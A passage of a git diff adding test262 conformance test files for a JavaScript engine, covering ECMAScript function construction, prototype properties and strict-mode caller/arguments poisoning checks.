+ $ERROR('#6: __device.bottom === __BOTTOM. Actual: __device.bottom ==='+__device.bottom);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A6_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A6_T1.js
new file mode 100644
index 000000000..82ef96dce
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A6_T1.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is not Object then return passed as this into [[Call]] object
+ *
+ * @path ch13/13.2/S13.2.2_A6_T1.js
+ * @description Declaring a function with "__func = function(arg)"
+ */
+
+__FOO="fooValue";
+__BAR="barValue";
+
+__func = function(arg){
+ this.foo=arg;
+ return 0;
+ this.bar=arguments[1];
+};
+
+__obj = new __func(__FOO, __BAR);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.foo!==__FOO) {
+ $ERROR('#1: __obj.foo === __FOO. Actual: __obj.foo==='+__obj.foo);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.bar!==undefined) {
+ $ERROR('#2: __obj.bar === undefined. Actual: __obj.bar==='+__obj.bar);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A6_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A6_T2.js
new file mode 100644
index 000000000..f428bcb15
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A6_T2.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is not Object then return passed as this into [[Call]] object
+ *
+ * @path ch13/13.2/S13.2.2_A6_T2.js
+ * @description Declaring a function with "function __func (arg)"
+ */
+
+var __FOO="fooValue";
+var __BAR="barValue";
+
+function __func (arg){
+ this.foo=arg;
+ return true;
+ this.bar=arguments[1];
+};
+
+var __obj = new __func(__FOO, __BAR);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.foo!==__FOO) {
+ $ERROR('#1: __obj.foo === __FOO. Actual: __obj.foo==='+__obj.foo);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.bar!==undefined) {
+ $ERROR('#2: __obj.bar === undefined. Actual: __obj.bar==='+__obj.bar);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A7_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A7_T1.js
new file mode 100644
index 000000000..02734e83e
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A7_T1.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is an Object then return this just as obtained object
+ *
+ * @path ch13/13.2/S13.2.2_A7_T1.js
+ * @description Declaring a function with "as __func = function(arg)"
+ */
+
+var __FRST="one";
+var __SCND="two";
+
+function __func (arg1, arg2){
+ this.first=arg1;
+ var __obj={second:arg2};
+ return __obj;
+
+};
+
+var __obj__ = new __func(__FRST, __SCND);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj__.first !== undefined) {
+ $ERROR('#1: __obj__.first === undefined. Actual: __obj__.first==='+__obj__.first);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj__.second !== __SCND) {
+ $ERROR('#2: __obj__.second === __SCND. Actual: __obj__.second ==='+__obj__.second);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A7_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A7_T2.js
new file mode 100644
index 000000000..9fbebf72c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A7_T2.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is an Object then return this just as obtained object
+ *
+ * @path ch13/13.2/S13.2.2_A7_T2.js
+ * @description Declaring a "function as function __func (arg)"
+ */
+
+__FRST="one";
+__SCND="two";
+
+__func = function(arg1, arg2){
+ this.first=arg1;
+ var __obj={second:arg2};
+ return __obj;
+
+};
+
+__obj__ = new __func(__FRST, __SCND);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj__.first !== undefined) {
+ $ERROR('#1: __obj__.first === undefined. Actual: __obj__.first==='+__obj__.first);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj__.second !== __SCND) {
+ $ERROR('#2: __obj__.second === __SCND. Actual: __obj__.second ==='+__obj__.second);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T1.js
new file mode 100644
index 000000000..640c120f8
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is an Function then return this just as obtained function
+ *
+ * @path ch13/13.2/S13.2.2_A8_T1.js
+ * @description Creating a function whose prototype contains "return" followed by declaration of another function
+ */
+
+var __FRST="one";
+var __SCND="two";
+
+var __func = function(arg1, arg2){
+ this.first=arg1;
+
+ __gunc.prop=arg2;
+ return __gunc;
+ // function declaration
+ function __gunc(arg){return ++arg};
+
+};
+
+var __instance = new __func(__FRST, __SCND);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__instance.first !== undefined) {
+ $ERROR('#1: __instance.first === undefined. Actual: __instance.first ==='+__instance.first);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__instance.prop!==__SCND) {
+ $ERROR('#2: __instance.prop === __SCND. Actual: __instance.prop ==='+__instance.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__instance(1)!== 2) {
+ $ERROR('#2: __instance(1)=== 2. Actual: __instance(1) ==='+__instance(1));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T2.js
new file mode 100644
index 000000000..e7f454b8d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T2.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is an Function then return this just as obtained function
+ *
+ * @path ch13/13.2/S13.2.2_A8_T2.js
+ * @description Creating a function whose prototype contains declaration of another function declared as a variable
+ */
+
+var __FRST="one";
+var __SCND="two";
+
+var __func = function(arg1, arg2){
+ this.first=arg1;
+ var __gunc = function(arg){return arg+="BA"};
+ __gunc.prop=arg2;
+ return __gunc;
+
+};
+
+var __instance = new __func(__FRST, __SCND);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__instance.first !== undefined) {
+ $ERROR('#1: __instance.first === undefined. Actual: __instance.first ==='+__instance.first);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__instance.prop!==__SCND) {
+ $ERROR('#2: __instance.prop === __SCND. Actual: __instance.prop ==='+__instance.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__instance("SAM")!== "SAMBA") {
+ $ERROR('#2: __instance("SAM") === "SAMBA". Actual: __instance("SAM") ==='+__instance("SAM"));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T3.js
new file mode 100644
index 000000000..e5e05f4bd
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A8_T3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing just created native ECMAScript object as the this value and providing the argument
+ * list passed into [[Construct]] as the argument values.
+ * If Type( [[Call]] returned) is an Function then return this just as obtained function
+ *
+ * @path ch13/13.2/S13.2.2_A8_T3.js
+ * @description Creating a function whose prototype contains declaration of another function defined by using Function.call method
+ */
+
+var __FRST="one";
+var __SCND="two";
+
+var __func = function(arg1, arg2){
+ this.first=arg1;
+ var __gunc = Function.call(this,"arg","return ++arg;");
+ __gunc.prop=arg2;
+ return __gunc;
+
+};
+
+var __instance = new __func(__FRST, __SCND);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__instance.first !== undefined) {
+ $ERROR('#1: __instance.first === undefined. Actual: __instance.first ==='+__instance.first);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__instance.prop!==__SCND) {
+ $ERROR('#2: __instance.prop === __SCND. Actual: __instance.prop ==='+__instance.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__instance(1)!== 2) {
+ $ERROR('#2: __instance(1)=== 2. Actual: __instance(1) ==='+__instance(1));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A9.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A9.js
new file mode 100644
index 000000000..4e178109c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A9.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Calling a function as a constructor is inadmissible as long as this.any_Function is called before it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A9.js
+ * @description Calling a function as a constructor
+ */
+
+function FACTORY(){
+ this.id = 0;
+
+ this.id = this.func();
+
+ this.func = function (){
+ return 5;
+ }
+
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var obj = new FACTORY();
+ $ERROR('#1: var obj = new FACTORY() lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js b/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js
new file mode 100644
index 000000000..3cee5115b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2.3_A1.js
+ * @description check that strict mode functions/arguments have
+ * [[ThrowTypeError]]-like behavior
+ * function object.
+ * @onlyStrict
+ */
+
+"use strict";
+var poison = Object.getOwnPropertyDescriptor(Function.prototype, 'caller').get;
+
+if (typeof poison !== 'function') {
+ $ERROR("#1: A strict function's .caller should be poisoned with a function");
+}
+var threw = null;
+try {
+ poison.call(function() {});
+} catch (err) {
+ threw = err;
+}
+if (!threw || !(threw instanceof TypeError)) {
+ $ERROR("#2: Poisoned property should throw TypeError");
+}
+
+function checkNotPresent(obj, name) {
+ var desc = Object.getOwnPropertyDescriptor(obj, name);
+ if (desc !== undefined) {
+ $ERROR("#3: " + name + " should not appear as a descriptor");
+ }
+}
+
+var argumentsPoison =
+ Object.getOwnPropertyDescriptor(function() { return arguments; }(),
+ "callee").get;
+
+function checkPoison(obj, name) {
+ var desc = Object.getOwnPropertyDescriptor(obj, name);
+ if (desc.enumerable) {
+ $ERROR("#3: Poisoned " + name + " should not be enumerable");
+ }
+ if (desc.configurable) {
+ $ERROR("#4: Poisoned " + name + " should not be configurable");
+ }
+ if (argumentsPoison !== desc.get) {
+ $ERROR("#5: " + name + "'s getter not poisoned with same poison");
+ }
+ if (argumentsPoison !== desc.set) {
+ $ERROR("#6: " + name + "'s setter not poisoned with same poison");
+ }
+}
+
+checkNotPresent(function() {}, 'caller');
+checkNotPresent(function() {}, 'arguments');
+checkPoison((function() { return arguments; })(), 'caller');
+checkPoison((function() { return arguments; })(), 'callee');
+checkNotPresent((function() {}).bind(null), 'caller');
+checkNotPresent((function() {}).bind(null), 'arguments');
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A1_T1.js b/js/src/tests/test262/ch13/13.2/S13.2_A1_T1.js
new file mode 100644
index 000000000..5f7d1b15a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A "prototype" property is automatically created for every function
+ *
+ * @path ch13/13.2/S13.2_A1_T1.js
+ * @description Using "function __func(){}" as a FunctionDeclaration
+ */
+
+function __func(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func.prototype === undefined) {
+ $ERROR('#1: __func.prototype !== undefined');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A1_T2.js b/js/src/tests/test262/ch13/13.2/S13.2_A1_T2.js
new file mode 100644
index 000000000..b9d933a6d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A1_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A "prototype" property is automatically created for every function
+ *
+ * @path ch13/13.2/S13.2_A1_T2.js
+ * @description Using "var __func = function(){}" as a FunctionDeclaration
+ */
+
+var __func = function(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func.prototype === undefined) {
+ $ERROR('#1: __func.prototype !== undefined');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A2_T1.js b/js/src/tests/test262/ch13/13.2/S13.2_A2_T1.js
new file mode 100644
index 000000000..b49ba1973
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A2_T1.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Nested function are admitted
+ *
+ * @path ch13/13.2/S13.2_A2_T1.js
+ * @description Nesting level is two
+ */
+
+var __JEDI="jedi";
+
+function __FUNC(){
+ function __GUNC(){
+ return arguments[0];
+ };
+
+ return __GUNC;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__FUNC()(__JEDI) !== __JEDI) {
+ $ERROR('#1: __FUNC()(__JEDI) === __JEDI. Actual: __FUNC()(__JEDI) ==='+__FUNC()(__JEDI));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A2_T2.js b/js/src/tests/test262/ch13/13.2/S13.2_A2_T2.js
new file mode 100644
index 000000000..024a624fa
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A2_T2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Nested function are admitted
+ *
+ * @path ch13/13.2/S13.2_A2_T2.js
+ * @description Nesting level is three
+ */
+
+var __ROBOT="C3PO";
+
+function __FUNC(){
+ function __GUNC(){
+ return arguments[0];
+ };
+ function __HUNC(){
+ return __GUNC;
+ };
+ return __HUNC;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__FUNC()()(__ROBOT) !== __ROBOT) {
+ $ERROR('#1: __FUNC()()(__ROBOT) === __ROBOT. Actual: __FUNC()()(__ROBOT) ==='+__FUNC()()(__ROBOT));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A3.js b/js/src/tests/test262/ch13/13.2/S13.2_A3.js
new file mode 100644
index 000000000..3cd3c7032
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When Function object(F) is constructed the length property of F is set to the number of formal properties specified in FormalParameterList
+ *
+ * @path ch13/13.2/S13.2_A3.js
+ * @description Creating functions with various FormalParameterList and checking their lengths
+ */
+
+function __func(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func.length !== 0) {
+ $ERROR('#1: __func.length === 0. Actual: __func.length ==='+__func.length);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __gunc(a,b,c){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__gunc.length !== 3) {
+ $ERROR('#2: __gunc.length === 3. Actual: __gunc.length ==='+__gunc.length);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A4_T1.js b/js/src/tests/test262/ch13/13.2/S13.2_A4_T1.js
new file mode 100644
index 000000000..ef47b61a0
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A4_T1.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When Function object(F) is constructed the following steps from 9 to 11 take place
+ * 9.Create a new object as would be constructed by the expression new Object().
+ * 10. Set the constructor property of Result(9) to F. This property is given attributes { DontEnum }.
+ * 11. Set the "prototype" property of F to Result(9).
+ *
+ * @path ch13/13.2/S13.2_A4_T1.js
+ * @description Checking prototype, prototype.constructor properties and {DontEnum} property of a constructor.
+ * Using "function __func(){}" as a FunctionDeclaration
+ */
+
+function __func(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func.prototype !== 'object') {
+ $ERROR('#1: typeof __func.prototype === \'object\'. Actual: typeof __gunc.prototype ==='+typeof __gunc.prototype);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func.prototype.constructor !== __func) {
+ $ERROR('#2: __func.prototype.constructor === __func. Actual: __gunc.prototype.constructor ==='+__gunc.prototype.constructor);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __constructor_was__enumed;
+
+for (__prop in __func.prototype){
+ if (__prop === 'constructor')
+ __constructor_was__enumed = true;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__constructor_was__enumed) {
+ $ERROR('#3: __constructor_was__enumed === false. Actual: __constructor_was__enumed ==='+__constructor_was__enumed);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A4_T2.js b/js/src/tests/test262/ch13/13.2/S13.2_A4_T2.js
new file mode 100644
index 000000000..2da55b763
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A4_T2.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When Function object(F) is constructed the following steps from 9 to 11 take place
+ * 9.Create a new object as would be constructed by the expression new Object().
+ * 10. Set the constructor property of Result(9) to F. This property is given attributes { DontEnum }.
+ * 11. Set the "prototype" property of F to Result(9).
+ *
+ * @path ch13/13.2/S13.2_A4_T2.js
+ * @description Checking prototype, prototype.constructor properties and {DontEnum} property of a constructor.
+ * Using "var __gunc = function(){}" as a FunctionDeclaration
+ */
+
+var __gunc = function(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __gunc.prototype !== 'object') {
+ $ERROR('#1: typeof __gunc.prototype === \'object\'. Actual: typeof __gunc.prototype ==='+typeof __gunc.prototype);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__gunc.prototype.constructor !== __gunc) {
+ $ERROR('#2: __gunc.prototype.constructor === __gunc. Actual: __gunc.prototype.constructor ==='+__gunc.prototype.constructor);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __constructor_was__enumed;
+
+for (__prop in __gunc.prototype){
+ if (__prop === 'constructor')
+ __constructor_was__enumed = true;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__constructor_was__enumed) {
+ $ERROR('#3: __constructor_was__enumed === false. Actual: __constructor_was__enumed ==='+__constructor_was__enumed);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A5.js b/js/src/tests/test262/ch13/13.2/S13.2_A5.js
new file mode 100644
index 000000000..6d88fad8e
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A5.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When Function object(F) is constructed
+ * the [[Prototype]] property of F is set to the original Function prototype object as specified in 15.3.3.1
+ *
+ * @path ch13/13.2/S13.2_A5.js
+ * @description Function.prototype.isPrototypeOf() is used
+ */
+
+function __func(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(Function.prototype.isPrototypeOf(__func))) {
+ $ERROR('#1: Function.prototype.isPrototypeOf(__func)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+var __gunc = function(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!(Function.prototype.isPrototypeOf(__gunc))) {
+ $ERROR('#1: Function.prototype.isPrototypeOf(__gunc)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A6_T1.js b/js/src/tests/test262/ch13/13.2/S13.2_A6_T1.js
new file mode 100644
index 000000000..2fca01cc2
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A6_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2_A6_T1.js
+ * @description check if "caller" poisoning poisons
+ * getOwnPropertyDescriptor too
+ * @onlyStrict
+ */
+
+"use strict";
+Object.getOwnPropertyDescriptor(function(){}, 'caller');
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A6_T2.js b/js/src/tests/test262/ch13/13.2/S13.2_A6_T2.js
new file mode 100644
index 000000000..e8a334462
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A6_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2_A6_T2.js
+ * @description check if "arguments" poisoning poisons
+ * getOwnPropertyDescriptor too
+ * @onlyStrict
+ */
+
+"use strict";
+Object.getOwnPropertyDescriptor(function(){}, 'arguments');
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A7_T1.js b/js/src/tests/test262/ch13/13.2/S13.2_A7_T1.js
new file mode 100644
index 000000000..d557bbd67
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A7_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2_A7_T1.js
+ * @description check if "caller" poisoning poisons
+ * hasOwnProperty too
+ * @onlyStrict
+ */
+
+"use strict";
+(function(){}).hasOwnProperty('caller');
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A7_T2.js b/js/src/tests/test262/ch13/13.2/S13.2_A7_T2.js
new file mode 100644
index 000000000..82c03938f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A7_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2_A7_T2.js
+ * @description check if "arguments" poisoning poisons
+ * hasOwnProperty too
+ * @onlyStrict
+ */
+
+"use strict";
+(function(){}).hasOwnProperty('arguments');
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A8_T1.js b/js/src/tests/test262/ch13/13.2/S13.2_A8_T1.js
new file mode 100644
index 000000000..a68553e82
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A8_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2_A8_T1.js
+ * @description check if "caller" poisoning poisons
+ * "in" too
+ * @onlyStrict
+ */
+
+"use strict";
+'caller' in function() {};
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2_A8_T2.js b/js/src/tests/test262/ch13/13.2/S13.2_A8_T2.js
new file mode 100644
index 000000000..0d9eec7c5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2_A8_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch13/13.2/S13.2_A8_T2.js
+ * @description check if "arguments" poisoning poisons
+ * "in" too
+ * @onlyStrict
+ */
+
+"use strict";
+'arguments' in function() {};
+
+
diff --git a/js/src/tests/test262/ch13/13.2/browser.js b/js/src/tests/test262/ch13/13.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/browser.js
diff --git a/js/src/tests/test262/ch13/13.2/shell.js b/js/src/tests/test262/ch13/13.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/shell.js
diff --git a/js/src/tests/test262/ch13/browser.js b/js/src/tests/test262/ch13/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/browser.js
diff --git a/js/src/tests/test262/ch13/shell.js b/js/src/tests/test262/ch13/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/shell.js
diff --git a/js/src/tests/test262/ch14/14.0/S14_A1.js b/js/src/tests/test262/ch14/14.0/S14_A1.js
new file mode 100644
index 000000000..302db12dd
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/S14_A1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression must be localed in a reacheable fragment of the program
+ *
+ * @path ch14/14.0/S14_A1.js
+ * @description Declaring a function within an "if" Expression
+ */
+
+var THERE = "I'm there";
+var HERE = "I'm here";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ( __func !== undefined) {
+ $ERROR('#1: __func === undefined. Actual: __func ==='+ __func );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+if (true){
+ var __func = function(){return HERE;};
+} else {
+ var __func = function (){return THERE;};
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func() !== HERE) {
+ $ERROR('#2: __func() === HERE. Actual: __func() ==='+ __func() );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
